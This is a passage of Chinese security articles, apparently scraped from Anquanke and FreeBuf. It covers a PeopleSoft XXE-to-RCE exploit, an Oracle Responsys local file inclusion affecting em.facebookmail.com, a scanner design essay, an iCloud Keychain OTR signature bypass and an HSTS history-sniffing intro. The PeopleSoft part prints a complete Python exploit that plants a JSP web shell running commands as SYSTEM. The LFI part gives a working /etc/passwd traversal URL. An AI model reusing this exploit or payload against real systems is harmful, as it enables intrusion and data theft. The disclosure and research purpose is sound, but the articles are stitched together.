10
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <myMethod attr="x"><test>y</test></myMethod>
        </myMethod attr="x"><test>y</test></myMethod>
    </soapenv:Body>
</soapenv:Envelope>

此时,我们的Payload将会出现两次,第一次的前缀为“<”,第二次为“</”。最终的解决方案需要用到XML注释:

1
2
GET /pspc/services/SomeService
?method=!--><myMethod+attr="x"><test>y</test></myMethod

此时我们得到的结果如下:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <!--><myMethod attr="x"><test>y</test></myMethod>
        </!--><myMethod attr="x"><test>y</test></myMethod>
    </soapenv:Body>
</soapenv:Envelope>

由于我们添加了前缀“!–>”,所以第一个Payload是以“<!–”开头的,这也是XML注释的起始标记。第二行以“</!”开头,后面跟着的是“–>”,它表示注释结束。因此,这也就意味着我们的第一行Payload将会被忽略,而我们的Payload现在只会被解析一次。

这样一来,我们就可以将任意的SOAP请求从POST转变为GET了,这也就意味着我们可以将任何的类当作Axis服务进行部署,并利用XXE漏洞绕过服务的IP检测。

Axis:小工具(Gadgets)


Apache Axis在部署服务的过程中不允许我们上传自己的Java类,因此我们只能使用服务提供给我们的类。在对PeopleSoft的pspc.war(包含Axis实例)进行了分析之后,我们发现org.apache.pluto.portalImpl包中的Deploy类包含很多非常有趣的方法。首先,addToEntityReg(String[] args)方法允许我们在一个XML文件的结尾处添加任意数据。其次,copy(file1, file2)方法还允许我们随意拷贝任意文件。这样一来,我们就可以向我们的XML注入一个JSP Payload,然后将它拷贝到webroot中,这样就足以够我们拿到Shell了。

正如我们所期待的那样,PeopleSoft以SYSTEM权限运行了,而这将允许攻击者通过一个XXE漏洞触发PeopleSoft中的远程代码执行漏洞,并通过SYSTEM权限运行任意代码。

漏洞利用 PoC


这种漏洞利用方法几乎适用于目前任意版本的PeopleSoft,在使用之前,请确保修改了相应的XXE终端节点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
#!/usr/bin/python3
# Oracle PeopleSoft SYSTEM RCE
# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
# cf
# 2017-05-17
import requests
import urllib.parse
import re
import string
import random
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
try:
    import colorama
except ImportError:
    colorama = None
else:
    colorama.init()
    COLORS = {
        '+': colorama.Fore.GREEN,
        '-': colorama.Fore.RED,
        ':': colorama.Fore.BLUE,
        '!': colorama.Fore.YELLOW
    }
URL = sys.argv[1].rstrip('/')
CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
PROXY = 'localhost:8080'
# shell.jsp?c=whoami
PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>'
class Browser:
    """Wrapper around requests.
    """
    def __init__(self, url):
        self.url = url
        self.init()
    def init(self):
        self.session = requests.Session()
        self.session.proxies = {
            'http': PROXY,
            'https': PROXY
        }
        self.session.verify = False
    def get(self, url ,*args, **kwargs):
        return self.session.get(url=self.url + url, *args, **kwargs)
    def post(self, url, *args, **kwargs):
        return self.session.post(url=self.url + url, *args, **kwargs)
    def matches(self, r, regex):
        return re.findall(regex, r.text)
class Recon(Browser):
    """Grabs different informations about the target.
    """
    def check_all(self):
        self.site_id = None
        self.local_port = None
        self.check_version()
        self.check_site_id()
        self.check_local_infos()
    def check_version(self):
        """Grabs PeopleTools' version.
        """
        self.version = None
        r = self.get('/PSEMHUB/hub')
        m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).</b>')
        if m:
            self.version = m[0]
            o(':', 'PTools version: %s' % self.version)
        else:
            o('-', 'Unable to find version')
    def check_site_id(self):
        """Grabs the site ID and the local port.
        """
        if self.site_id:
            return
        r = self.get('/')
        m = self.matches(r, '/([^/]+)/signon.html')
        if not m:
            raise RuntimeError('Unable to find site ID')
        self.site_id = m[0]
        o('+', 'Site ID: ' + self.site_id)
    def check_local_infos(self):
        """Uses cookies to leak hostname and local port.
        """
        if self.local_port:
            return
        r = self.get('/psp/%s/signon.html' % self.site_id)
        for c, v in self.session.cookies.items():
            if c.endswith('-PORTAL-PSJSESSIONID'):
                self.local_host, self.local_port, *_ = c.split('-')
                o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
                return
        raise RuntimeError('Unable to get local hostname / port')
class AxisDeploy(Recon):
    """Uses the XXE to install Deploy, and uses its two useful methods to get
    a shell.
    """
    def init(self):
        super().init()
        self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)
    def random_string(self, size):
        return ''.join(random.choice(string.ascii_letters) for _ in range(size))
    def url_service(self, payload):
        return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
            self.local_port,
            urllib.parse.quote_plus(self.psoap(payload))
        )
    def war_path(self, name):
        # This is just a guess from the few PeopleSoft instances we audited.
        # It might be wrong.
        suffix = '.war' if self.version and self.version >= '8.50' else ''
        return './applications/peoplesoft/%s%s' % (name, suffix)
    def pxml(self, payload):
        """Converts an XML payload into a one-liner.
        """
        payload = payload.strip().replace('\n', ' ')
        payload = re.sub('\s+<', '<', payload, flags=re.S)
        payload = re.sub('\s+', ' ', payload, flags=re.S)
        return payload
    def psoap(self, payload):
        """Converts a SOAP payload into a one-liner, including the comment trick
        to allow attributes.
        """
        payload = self.pxml(payload)
        payload = '!-->%s' % payload[:-1]
        return payload
    def soap_service_deploy(self):
        """SOAP payload to deploy the service.
        """
        return """
        <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
            <ns1:service name="%s" provider="java:RPC">
                <ns1:parameter name="className" value="%s"/>
                <ns1:parameter name="allowedMethods" value="*"/>
            </ns1:service>
        </ns1:deployment>
        """ % (self.service_name, CLASS_NAME)
    def soap_service_undeploy(self):
        """SOAP payload to undeploy the service.
        """
        return """
        <ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
        <ns1:service name="%s"/>
        </ns1:undeployment>
        """ % (self.service_name, )
    def xxe_ssrf(self, payload):
        """Runs the given AXIS deploy/undeploy payload through the XXE.
        """
        data = """
        <?xml version="1.0"?>
        <!DOCTYPE IBRequest [
        <!ENTITY x SYSTEM "%s">
        ]>
        <IBRequest>
           <ExternalOperationName>&x;</ExternalOperationName>
           <OperationType/>
           <From><RequestingNode/>
              <Password/>
              <OrigUser/>
              <OrigNode/>
              <OrigProcess/>
              <OrigTimeStamp/>
           </From>
           <To>
              <FinalDestination/>
              <DestinationNode/>
              <SubChannel/>
           </To>
           <ContentSections>
              <ContentSection>
                 <NonRepudiation/>
                 <MessageVersion/>
                 <Data>
                 </Data>
              </ContentSection>
           </ContentSections>
        </IBRequest>
        """ % self.url_service(payload)
        r = self.post(
            '/PSIGW/HttpListeningConnector',
            data=self.pxml(data),
            headers={
                'Content-Type': 'application/xml'
            }
        )
    def service_check(self):
        """Verifies that the service is correctly installed.
        """
        r = self.get('/pspc/services')
        return self.service_name in r.text
    def service_deploy(self):
        self.xxe_ssrf(self.soap_service_deploy())
        if not self.service_check():
            raise RuntimeError('Unable to deploy service')
        o('+', 'Service deployed')
    def service_undeploy(self):
        if not self.local_port:
            return
        self.xxe_ssrf(self.soap_service_undeploy())
        if self.service_check():
            o('-', 'Unable to undeploy service')
            return
        o('+', 'Service undeployed')
    def service_send(self, data):
        """Send data to the Axis endpoint.
        """
        return self.post(
            '/pspc/services/%s' % self.service_name,
            data=data,
            headers={
                'SOAPAction': 'useless',
                'Content-Type': 'application/xml'
            }
        )
    def service_copy(self, path0, path1):
        """Copies one file to another.
        """
        data = """
        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:copy
        soapen>
            <in0 xsi:type="xsd:string">%s</in0>
            <in1 xsi:type="xsd:string">%s</in1>
        </api:copy>
        </soapenv:Body>
        </soapenv:Envelope>
        """.strip() % (path0, path1)
        response = self.service_send(data)
        return '<ns1:copyResponse' in response.text
    def service_main(self, tmp_path, tmp_dir):
        """Writes the payload at the end of the .xml file.
        """
        data = """
        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapen>
            <api:in0>
                <item xsi:type="xsd:string">%s</item>
                <item xsi:type="xsd:string">%s</item>
                <item xsi:type="xsd:string">%s.war</item>
                <item xsi:type="xsd:string">something</item>
                <item xsi:type="xsd:string">-addToEntityReg</item>
                <item xsi:type="xsd:string"><![CDATA[%s]]></item>
            </api:in0>
        </api:main>
        </soapenv:Body>
        </soapenv:Envelope>
        """.strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
        response = self.service_send(data)
    def build_shell(self):
        """Builds a SYSTEM shell.
        """
        # On versions >= 8.50, using another extension than JSP got 70 bytes
        # in return every time, for some reason.
        # Using .jsp seems to trigger caching, thus the same pivot cannot be
        # used to extract several files.
        # Again, this is just from experience, nothing confirmed
        pivot = '/%s.jsp' % self.random_string(20)
        pivot_path = self.war_path('PSOL') + pivot
        pivot_url = '/PSOL' + pivot
        # 1: Copy portletentityregistry.xml to TMP
        per = '/WEB-INF/data/portletentityregistry.xml'
        per_path = self.war_path('pspc')
        tmp_path = '../' * 20 + 'TEMP'
        tmp_dir = self.random_string(20)
        tmp_per = tmp_path + '/' + tmp_dir + per
        if not self.service_copy(per_path + per, tmp_per):
            raise RuntimeError('Unable to copy original XML file')
        # 2: Add JSP payload
        self.service_main(tmp_path, tmp_dir)
        # 3: Copy XML to JSP in webroot
        if not self.service_copy(tmp_per, pivot_path):
            raise RuntimeError('Unable to copy modified XML file')
        response = self.get(pivot_url)
        if response.status_code != 200:
            raise RuntimeError('Unable to access JSP shell')
        o('+', 'Shell URL: ' + self.url + pivot_url)
class PeopleSoftRCE(AxisDeploy):
    def __init__(self, url):
        super().__init__(url)
def o(s, message):
    if colorama:
        c = COLORS[s]
        s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
    print('%s %s' % (s, message))
x = PeopleSoftRCE(URL)
try:
    x.check_all()
    x.service_deploy()
    x.build_shell()
except RuntimeError as e:
    o('-', e)
finally:
    x.service_undeploy()

本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce0day

基于云端的本地文件包含漏洞(影响Facebook等多家公司)

http://p0.qhimg.com/t012abab2aeb43783b1.jpg

翻译:童话

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言


Hello,大家好!今天我将向大家分享前段时间我是如何挖到的一个基于云端的本地文件包含漏洞。漏洞影响Facebook、Linkedin、Dropbox等多家企业。

http://p0.qhimg.com/t01e0803bf7817a39bd.png

这个LFI(本地文件包含漏洞)的触发点在Oracle Responsys的云系统中。简单介绍一下,Responsys是企业级基于云的B2C系统 。每个企业用户通过专属的ip去使用Responsys 系统。企业用户不能和其他公司分享IP。

漏洞是如何发现的?


我像往常一样挖掘漏洞,注意到Facebook的子域名em.facebookmail.com向我发送了一个开发者邮件。举例来说,在我的收件箱中,我收到了一封[email protected]发送的邮件。这勾起了我测试em.facebookmail.com子域名的兴趣。随后我立即dig了一下,我发现这个子域名连接到“Responsys”服务,在之前的渗透测试中还搞过这个。

http://p5.qhimg.com/t01427724563813e648.png

“Responsys”提供了一个邮件服务(em.facebookmail.com),如上图所示。我在收件箱中看到如下原始链接:

1
http://em.facebookmail.com/pub/cc?_ri_=X0Gzc2X%3DWQpglLjHJlYQGkSIGbc52zaRY0i6zgzdzc6jpzcASTGzdzeRfAzbzgJyH0zfzbLVXtpKX%3DSRTRYRSY&_ei_=EolaGGF4SNMvxFF7KucKuWNhjeSKbKRsHLVV55xSq7EoplYQTaISpeSzfMJxPAX8oMMhFTpOYUvvmgn-WhyT6yBDeImov65NsCKxmYwyOL0

我发现,为了生成有效的请求,就一定需要使用“_ri_ =”参数。经过一番测试,我发现系统没有正确处理双重URL编码,在参数“_ri_”处使用可以正确生成有效请求的值,我可以在URL路径中注入“%252fetc%252fpasswd”。由于服务端没有对输入做正确的过滤,可以使用目录遍历字符,可以从受影响的服务器中检索内部文件。

漏洞演示(PoC)


1
http://em.facebookmail.com/pub/sf/%252fetc%252fpasswd?_ri_=X0Gzc2X%3DYQpglLjHJlYQGrzdLoyD13pHoGgHNjCWGRBIk4d6Uw74cgmmfaDIiK4za7bf4aUdgSVXMtX%3DYQpglLjHJlYQGnnlO8Rp71zfzabzewzgLczg7Ulwbazahw8uszbNYzeazdMjhDzcmJizdNFCXgn&_ei_=Ep0e16vSBKEscHnsTNRZT2jxEz5WyG1Wpm_OvAU-aJZRZ_wzYDw97ETX_iSmseE

可以看到漏洞已经被复现了,我知道这个LFI(本地文件包含漏洞)不仅影响了Facebook,还影响了许多其他公司。通过专属的ip去使用Responsys系统的企业用户都会受到该问题的影响。

影响范围


之后我意识到,这个问题不仅仅影响Facebook,也涉及到其他的企业。通过专属的ip去使用Responsys系统的企业用户都会受到该问题的影响。

通过Google搜索可以看到其他受该漏洞影响的公司。

http://p1.qhimg.com/t0163eb27e3fdba7484.png

将参数_ri_中的有效请求值复制到目标公司的站点,我可以使用相同的技术检索内部信息(读取指定位置的文件内容)。

http://p8.qhimg.com/t0128320fb32883a74d.png

本地文件包含漏洞(LFI)会导致泄露服务器中敏感信息,进一步利用可导致被完全接管。在本篇文章的案例中,最坏的影响是这个漏洞影响了多家公司的数据。

后记


我向Oracle报告了这个漏洞,Oracle官方在一周内修复了这个安全问题。

http://p2.qhimg.com/t0180f53d7a725f9ff7.png


本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://panchocosil.blogspot.cl/2017/05/one-cloud-based-local-file-inclusion.html

0day

一个简单的分布式Web扫描器的设计与实践

http://p7.qhimg.com/t0183ae45ed0716eb13.jpg

0x00 前言


作为一个安全从业人员,在平常的工作中总是需要对一些Web系统做一些安全扫描和漏洞检测从而确保在系统上线前尽可能多的解决了已知的安全问题,更好地保护我们的系统免受外部的入侵和攻击。而传统的web安全检测和扫描大多基于Web扫描器,而实际上其是利用爬虫对目标系统进行资源遍历并配合检测代码来进行,这样可以极大的减少人工检测的工作量,但是随之而来也会导致过多的误报和漏报,原因之一就是爬虫无法获取到一些隐藏很深的系统资源(比如:URL)进行检测。在这篇文章里,笔者主要想和大家分享一下从另一个角度来设计Web扫描器从而来解决开头所提到的问题。

0x01 设计


在开始探讨设计之前,我们首先了解一下Web漏洞检测和扫描的一般过程和原理。通常我们所说的Web漏洞检测和扫描大致分为2种方式:

Web扫描器:主要利用扫描器的爬虫获取目标系统的所有URL,再尝试模拟访问这些URL获取更多的URL,如此循环,直到所有已知的URL被获取到,或者利用已知字典对目标系统的URL进行暴力穷举从而获取有效的URL资源;之后对获取的URL去重整理,利用已知漏洞的检测代码对这些URL进行检测来判断目标系统是否存在漏洞

人工检测:通过设置代理(如:burp)来截获所有目标系统的访问请求,然后依据经验对可能存在问题的请求修改参数或者添加检测代码并重放(如:burp中的repeat功能)从而判断目标系统是否存在漏洞

对比上面的2种方式,我们可以发现Web扫描器可以极大的减少人工检测的工作量,但是却因为爬虫的局限性导致很多事实上存在的资源不能被发现容易造成就误报和漏报;而人工检测可以很好的保证发现漏洞的准确性和针对性,但是却严重依赖于检测人员的经验和时间,尤其是大型系统很难在有限的时间内完成检测,同样会造成漏报。那么,如果能有效地利用扫描器的处理速度以及人工的精准度的话,是不是就可以很好地解决前面的问题了呢?

下面让我们来深究一下两者的各自优势,前者自动化程度高不需要过多的人为干预,后者因为所有请求均来自于真实的访问准确度高。我们不禁思考一下,如果我们有办法可以获取到所有的真实请求(包括:请求头,cookie,url,请求参数等等)并配合扫描器的检测代码是不是更加有针对性且有效地对系统进行漏洞检测呢?

我们设想一下,如果有这样一个系统可以在用户与系统之前获取到所有的请求,并分发给扫描器进行检测,这样只要请求是来自于真实的应用场景或者系统的功能那么就可以最大程度地收集到所有真实有效的资源。故可以设计该系统包含如下的子模块:

客户端:用户访问系统的载体,如:浏览器,手机APP

代理:用于获取来自于客户端的所有请求,如:Burp,Load Balancer

解析器:负责将代理获取的请求数据按照规定格式解析并插入至请求数据库中

请求数据库:用于存放代理获取的所有请求数据以及解析器和扫描器的配置信息

扫描器:具有漏洞检测功能的扫描器,如:自行编写的定制扫描器(hackUtils),SQLMAP,Burp Scanner,WVS,OWASP ZAP等

应用系统:目标应用系统,如: Web系统,APP

基本架构如下:

http://p2.qhimg.com/t01d50200017b2d9fa8.png

从上图的设计中,我们可以利用代理将所有访问目标系统的请求获取并存储在一个统一的数据库中,然后将这些真实产生的请求分发给不同的扫描器(比如:常见的OWASP Top10的漏洞,已披露的常见框架或者中间件漏洞等)进行检测。上述设计是高度解耦合地并且每个子模块都是只负责自己的功能相互之间并不干扰,且仅通过中心数据库关联起来,因此我们可以通过设置多个代理和扫描器地随意组合来实现分布式地批量检测。

这种设计架构可以很方便地进行扩展和应用, 例如:

对于漏洞检测或者安全测试人员,我们只需要在本地设置好代理(如:burp),然后在浏览器或者移动APP中正常地访问或者测试应用的每一个页面和功能,接下来的漏洞检测工作就完全交给了扫描器去做,这将极大地节约了时间和避免了大量重复的手工检测的工作量

对于企业系统,我们可以将代理设置在应用前端(如:load balancer),这样所有的请求将会被自动镜像在扫描数据库,并自动分发给多个扫描引擎进行检测,无需手工干预即可发现很多隐藏很深的漏洞

0x02 实践


俗语说的好,“Talk is cheap, show me the code”! 是的,为了更好地了解这种设计思路的好处,笔者设计了一个Demo系统。该系统利用了burp作为代理,当我们在浏览器或者手机的wifi中配置好了代理服务器,漏洞检测的工作将会简化成简单地浏览应用的每一个页面和功能,代理将会自动地收集产生的所有请求数据(包括,各种请求头,cookie,请求方法,请求数据等)然后通过解析器的解析并存储于中央数据库,然后再分发于多个扫描引擎对请求的所有可控输入点进行repeat检测。

效果如下:

http://p6.qhimg.com/t0182cacbc1f2b31be6.png

http://p2.qhimg.com/t01a24d265edd0c1b3d.png

http://p8.qhimg.com/t01d6e6cca36f8c7462.png

以下是我封装的一个python的requests库,它支持发送自定义的cookie,headers的get/post的请求,并可以是使用PhantomJS引擎去解析和渲染GET请求响应的页面中的javascript,css等,可以非常方便的应用于反爬虫和DOM型XSS的检测。

Code:https://github.com/brianwrf/HackRequests

0x03 思考


从漏洞检测的角度来说,经过笔者的测试(以DVWA和WebGoat为例)检测效果还是非常明显和有效的。其实这种类似的设计,很早之前就已经有人做了,那么很多人要问了为什么你还要在重复造个轮子呢?其实原因有以下几点:

系统耦合性较强,不利于进行扩展和改造

在HTTPS的流量捕获上支持的不是很好

没有做到对HTTP请求中所有的可控输入点进行检测,例如,仅仅检测GET/POST数据,而对cookie,user-agent, referer等缺乏检测

缺乏对于DOM的渲染和解析,容易造成对于基于DOM的漏洞的漏报,比如:DOM型的XSS等

不具备分布式部署的能力,无法有效利用分布式处理的优点来提高检测效率

不具备真正的意义上的repeat检测能力,换句话说不能完全模拟用户的请求

当然,上述的设计也存在一些待解决的问题,比如:

若将代理部署至应用前端镜像所有请求,再分发至扫描引擎检测,如何防止真实用户数据泄漏和篡改?可能的解决方案是设置例外,对于敏感字段或者请求进行例外处理。

写在最后


Anyway, 新系统的设计无非是汲取前人的智慧加以优化再为后人铺路,解决问题才是考验系统能力的关键!后续我会继续努力改进其不足,让其更加易于使用!0day

致命漏洞将允许攻击者绕过苹果的OTR签名验证并窃取iCloud钥匙串信息

背景内容

在分析iOS平台上与沙盒逃逸有关的攻击面时,我们在iCloud钥匙串同步功能的OTR实现中发现了一个严重的安全漏洞。

iCloud钥匙串同步功能允许用户以一种安全的方式跨设备共享自己的密码。该协议与其他跨设备密码共享机制(例如谷歌Chrome的密码同步功能)相比,安全性有显著的提升,因为它所采用的端到端加密使用了设备绑定型(device-specific)密钥,而这种加密方式能够显著提升iCloud钥匙串同步机制的安全性,即使用户的密码被盗或者iCloud后台服务器受到攻击,用户的安全也能够得到有效的保障。

但是,我们此次所发现的这个漏洞破坏了这种端到端加密的安全性,并有可能允许潜在的攻击者窃取用户的钥匙串信息。在这篇文章中,我们将给大家详细描述这个漏洞。

iCloud钥匙串同步技术概览

iCloud钥匙串最早与iOS7被引入,该功能允许用户跨设备共享自己的密码和信用卡数据。除此之外,iCloud钥匙串同步功能还可以让用户轻松地在设备间安全同步隐私信息,而且iCloud钥匙串恢复机制还可以在用户遗失了设备后,帮助他们恢复iCloud钥匙串数据。

为了提升安全性,iCloud钥匙串同步功能在交换钥匙串对象时采用了端到端加密,这样就可以保证只有参与钥匙串交换的双方设备才可以解密这些信息。加密过程依赖于一个同步识别密钥(每台设备只有一个),共享信息的明文数据以及加密密钥都不会暴露给iCloud。这也就意味着,即使你可以无限制地访问iCloud后台服务器或iCloud通信数据,你也无法解密出钥匙串数据。

2.png

数据的传输是通过iCloud键值存储(与每一个iCloud账户单独绑定)实现的,苹果应用和第三方应用都可以使用键值存储来为注册了iCLoud服务的用户同步数据。应用程序只能访问当前用户标识所允许的键值存储数据,而iCloud系统服务控制着应用与键值存储服务器之间的通信连接。与iCloud键值存储的直接通信要求用户提供密码凭证或iCLoud认证令牌。

注:钥匙串同步存储数据所使用的识别符为com.apple.security.cloudkeychainproxy3。

交换信息

iCloud钥匙串同步功能使用了一个自定义的开源OTR实现,这种OTR(Off-The-Record)信息协议具有不可否认性和前向安全性等特征。

为了接收或发送OTR数据,一台设备必须是“signed-syncing-circle”中的一部分,并存储在iCloud KVS之中。除了与每一台设备相关的元数据之外,其中还包含有每台设备所对应的公共同步身份密钥。

系统采用了CTR模式的AES-128对数据进行加密,并且使用了ECDH认证密钥交换算法。认证过程需要用到每个节点的身份密钥,并且使用了ECDSA签名算法(SHA-256)。

由于两台设备间的加密是成对的,因此一台设备在向另一台设备(必须是“signed-syncing-circle”中的一部分)传输新的OTR信息或交换钥匙串数据时,必须要发起OTR会话协商。iCloud KVS中的信息属性必须指定OTR信息的发送方和接收方,这样才能保证正确的信息接收设备可以正常处理消息的内容。

这里需要注意的是,默认情况下并非每一个钥匙串对象都会被同步,此时只有iCloud钥匙串同步功能的kSecAttrSynchronizable属性中所设置的那些钥匙串对象才会进行同步,其中包括系统WiFI密码和Safari凭证(例如信用卡卡号)。

3.png

加入“signed-syncing-circle”(签名同步环)

iOS安全指南对其的描述如下:

“signed-syncing-circle”可以用来构建一个由多台受信任设备所组成的一个组(Group)。其中,每一台设备都要生成其自己的同步身份密钥对(椭圆曲线密钥),私钥存储在钥匙串的‘kSecAttrAccessibleAlwaysThisDeviceOnlyPrivate’属性之中,所以只有当设备解锁后才可以访问。注:“signed-syncing-circle”的签名需要每台设备的同步身份私钥和用户的iCloud密钥。

为了让一台新设备加入到“signed-syncing-circle”之中,circle中现存的设备成员必须接受应用发出的ticket并将请求成员的公钥添加到circle之中。这个ticket必须通过用户的iCloud密钥进行签名,而请求过程同样需要用户输入自己的iCloud密码。这就意味着,用户需要在请求设备以及circle中已存在的设备上进行交互操作,并通过用户当前的iCloud密码来验证这些设备的真实性和有效性。

钥匙串同步漏洞

我们所发现的这个漏洞存在于OTR的签名认证程序中。由于系统没有对错误进行适当的处理,攻击者将有可能绕过这种签名验证机制。

源代码:Security-57740.31.2/OSX/sec/Security/SecOTRSessionAKE.c

static OSStatus SecVerifySignatureAndMac(SecOTRSessionRefsession,
bool usePrimes,
const uint8_t **signatureAndMacBytes,
size_t *signatureAndMacSize)
{
 
OSStatus result = errSecDecode;
 
…
 
result = ReadLong(signatureAndMacBytes, signatureAndMacSize,&xbSize); [1]
 
require_noerr(result, exit);
require_action(xbSize > 4, exit, result = errSecDecode);
 
require_action(xbSize <= *signatureAndMacSize, exit,result = errSecDecode);
 
uint8_t signatureMac[CCSHA256_OUTPUT_SIZE];
 
cchmac(ccsha256_di(), sizeof(m2), m2, xbSize + 4,encSigDataBlobStart, signatureMac);
 
require(xbSize + kSHA256HMAC160Bytes <=*signatureAndMacSize, exit); [2]
 
…
 
exit:
 
bzero(m1, sizeof(m1));
bzero(m2, sizeof(m2));
bzero(c, sizeof(c));
 
return result;
 
}

我们可以看到代码中标注了【1】的那一行,当程序成功从进来的握手信息中提取出了4个字节的数据时,返回代码被设置为了‘errSecSuccess’。然后看【2】的那一行,如果传入的信息长度太短以至于无法保存HMAC数据,那么函数将会退出运行。然而,返回代码会错误地认为签名认证已经成功了。这将允许攻击者伪造一个能够成功协商密钥的OTR信息,然后绕过现有的签名验证机制。

影响

考虑到OTR在实现加密时采用的是临时密钥,所以这个漏洞也就意味着攻击者在接收秘密信息时不用再去进行OTR会话协商了。虽然攻击者无法利用这个漏洞加入到“signedsyncing circle”之中,但他们可以冒充circle内的任何一个节点,并且在钥匙串对象同步的过程中拦截钥匙串数据。

4.png

篇尾语

我个人认为,我们应该重新审视一下密码的安全性问题了。在过去的几年里,很多在事件应急响应团队或政府执法部门工作的技术人员已经见过了很多由密码重用所带来的密码安全问题,但攻击者现在的技术已经不仅仅是通过钓鱼网站来窃取密码这么简单了,因此保障密码的安全才会变得如此的重要。但是我们应该注意一点,由于未来可能出现的安全风险是我们无法预料到的,而根据目前的情况来看,密码也许已经不是我们保护敏感数据时的首选方案了。

更新:就在不久之前我们被告知,我们已经得到了在2017年BlackHat黑客大会上讨论“iCloud钥匙串窃取”这一主题的机会,希望感兴趣的同学能够及时关注。

* 参考来源:medium, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM0day

利用HSTS嗅探浏览器历史纪录的三个漏洞

*本文原创作者:tocttou,本文属FreeBuf原创奖励计划,未经许可禁止转载

HSTS是让浏览器强制使用HTTPS访问网站的一项安全策略。HSTS的设计初衷是缓解中间人攻击带来的风险。本文主要介绍HSTS及其他Web功能带来的一些隐私问题,比如如何利用它们来探测浏览器的用户历史纪录。

一、背景:什么是HSTS

HSTS的英文全称是HTTP Strict Transport Security,中文译作HTTP严格传输安全。2012年11月IETF发布RFC 6797,在这篇文档中正式定义了HSTS。HSTS的开启方式是在HTTP响应头中加入Strict-Transport-Security字段。如:Strict-Transport-Security: max-age=31536000 。这意味着在接下来的31536000秒内(1年),当浏览器需要访问同一个域名时,必须使用HTTPS,并且用户不可以忽略证书错误警告。使用HSTS避免了一系列的中间人攻击问题,比如HTTPS剥离攻击 [1]、HTTPS Cookie注入攻击 [2]等。

设置HTTP响应头的方法虽然可以规避大量的中间人攻击,但是用户的第一次访问仍然是不受HSTS保护的。于是诞生了浏览器预置HSTS列表。网站站长可以主动向Chrome团队提交自己的域名。批准后,各主流浏览器厂商(不只是Chrome)会在编译新版浏览器时将你的域名硬编码进内置HSTS列表中。

现在已经有越来越多的网站开启了HSTS,比如Google、百度、支付宝等。根据trustworthyinternet.org 发布的SSL Pulse报告显示,截至2017年5月,有11.8%的网站支持HSTS [3]。最新版的主流浏览器也都支持HSTS,比如Chrome、Edge、IE 11、Firefox、Opera、Safari等。

二、漏洞一:利用端口号和<img>标签探测历史纪录

